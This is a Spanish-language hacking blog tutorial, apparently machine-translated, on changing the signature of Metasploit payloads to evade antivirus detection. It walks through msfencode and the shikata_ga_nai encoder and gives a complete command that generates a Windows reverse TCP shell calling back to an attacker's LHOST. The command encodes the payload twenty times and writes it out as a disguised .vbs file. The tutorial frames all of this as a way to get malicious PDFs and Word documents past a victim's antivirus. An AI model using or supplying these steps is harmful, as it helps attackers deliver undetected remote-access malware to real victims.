BlogEvading AV Software

Hack como un profesional Cómo cambiar la firma de las cargas útiles de Metasploit para evadir la detección de antivirus

¡Bienvenidos de nuevo, mis hackers en ciernes!

He escrito varias guías para el oyente sobre la creación de un PDF malicioso o un documento de Word malicioso que llevaría consigo una carga útil con Meterpreter o shell inverso que le permitiría ser dueño del sistema. Uno de los obstáculos para utilizar estas técnicas es el software antivirus (AV) en el sistema de destino. Por ejemplo, si intenta enviar por correo electrónico un documento PDF o Word malicioso, es probable que el sistema de la víctima advierta a la víctima que contiene un virus u otro malware.

La lección clave de este tutorial es cómo podemos superar ese software antivirus.

Los conceptos básicos de cómo funciona el software antivirus

Las empresas de software antivirus generalmente desarrollan su software para buscar una “firma” de virus y otro malware. En la mayoría de los casos, buscan en las primeras líneas de código un patrón familiar de malware conocido. Cuando encuentran malware en la naturaleza, simplemente agregan su firma a su base de datos de virus / malware y cuando se encuentra con ese malware, el software alerta al propietario de la computadora.

Cómo podría omitir el software antivirus

Obviamente, los exploits de día cero, o el malware que es nuevo y nunca ha sido visto por las compañías de software antivirus, pasarán por alto dicho esquema de detección.

Otro método para superar el software antivirus es simplemente cambiar la “firma” del malware. En otras palabras, si podemos cambiar la codificación del malware sin cambiar su funcionalidad, debería pasar por encima del software antivirus sin ser detectado. Si tiene las habilidades de codificación, puede volver a codificar cualquier malware y obtener el resultado deseado.

Si no tiene estas habilidades avanzadas de codificación, ¡todavía hay esperanza! Metasploit tiene un comando incorporado llamado msfencode que presenté a la comunidad Null Byte en una guía anterior sobre cómo disfrazar la firma de un exploit.

Cómo cambiar la firma de las cargas útiles de Metasploit

En este tutorial, analizaremos con más profundidad este comando y sus capacidades para volver a codificar nuestras cargas útiles. Una nota rápida antes de comenzar:haz tu reconocimiento!

Descubra qué software AV está utilizando el sistema de destino y vuelva a codificar para evadir que Paquete AV. Ningún esquema de recodificación funcionará con todo el software AV, así que no pierda tiempo desarrollando un nuevo esquema de codificación que funcione con su software AV, pero que no pueda evadir el software AV del sistema de destino.

Entonces, ¡abramos BackTrack y activemos Metasploit!

Paso 1: use Msfencode

Comencemos simplemente escribiendo msfencode en nuestro indicador con el -h cambiar para obtener ayuda.

Como puede ver, esto muestra todos los interruptores de tecla que podemos usar con este comando. Nota la -mi cambiar. Esto designa el codificador que queremos usar para volver a codificar nuestra carga útil.

Además, tenga en cuenta la sección que he resaltado con el -t cambiar. Este conmutador determina cuál es el formato de salida. Puede ver que hay numerosos formatos, incluidos raw, ruby, perl, java, exe, vba, vbs, etc. Cada una de estas salidas nos da la oportunidad de cambiar la firma e intentar evadir el software AV.

Paso 2: enumere los esquemas de codificación

A continuación, veamos qué codificadores están disponibles en msfencode.

Como muestra esta captura de pantalla, msfencode incluye numerosos esquemas de codificación diferentes. En cuarto lugar, desde abajo, vemos “shikata_ga_nai”. Tenga en cuenta que está clasificado como “excelente” y es un “Codificador de retroalimentación aditiva polimórfica XOR”. Echemos un vistazo a ese.

¿Qué es ese codificador que suena extraño?

Primero, este codificador shikata_ga_nai de sonido extraño es una frase japonesa que se traduce libremente como “no se puede hacer nada al respecto”. ¡Un nombre excelente para un codificador con malas intenciones!

En segundo lugar, es un codificador polimórfico XOR aditivo. Sin entrar en demasiados detalles, esto significa que cambiará su forma / firma (polimórfica), mediante el uso de un esquema de cifrado XOR. XOR está lejos de ser un esquema de cifrado perfecto, pero es eficiente y puede generar múltiples formas / firmas rápidamente que luego pueden ser descifradas por el propio código una vez que llega al objetivo.

Paso 3: Vuelva a codificar nuestra carga útil

Ahora, usemos shikata_ga_nai para volver a codificar nuestro shell TCP inverso y pasarlo por el software AV. En el símbolo del sistema en BackTrack, escriba:

  • msfpayload windows / shell / reverse_tcp LHOST = 192.168.1.101 R | msfencode -e x86 / shikata_ga_nai -c 20 -t vbs> /root/AVbypass.vbs

La caida

Desarmemos este comando y veamos qué hace.

  • msfpayload windows / shell / reverse_tcp LHOST 192.168.1.101 R

La parte anterior crea una carga útil con el shell de TCP inverso para un host local en 192.168.1.101.

Este símbolo significa canalizar esa carga útil al siguiente comando.

  • msfencode -e x86 / shikata_ga_nai -c 20 -t vbs

Significa volver a codificar esa carga útil con skikata_ga_nai y ejecutarlo 20 veces (-c 20), y luego codificarlo para que parezca un script .vbs.

Significa enviar la carga útil recién codificada a un archivo en el directorio / root y asígnele el nombre AVbypass.vbs para que parezca un script .vbs.

El resultado

Cuando ejecutamos este comando, obtenemos el siguiente resultado que nos muestra que shikata_ga_nai está ejecutando nuestra carga útil a través de 20 iteraciones (-c 20).

Ahora vayamos al directorio al que le dijimos a shikata_ga_nai que envíe nuestra carga útil recién codificada y verifiquemos si está allí.

Como puede ver, ahora tenemos un archivo en nuestro directorio raíz llamado AVbypass.vbs que ahora podemos probar con el software AV del objetivo para ver si lo detecta. Este método funciona en la mayoría de los casos, pero si no lo hace, simplemente envíe la carga útil a través de varias iteraciones hasta que encuentre una codificación que el software AV no detecta.

¡Sigan regresando, mis hackers en ciernes, para más aventuras en el país de los hackers!

Ojos malvados / inocentes imagen a través de Shutterstock

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar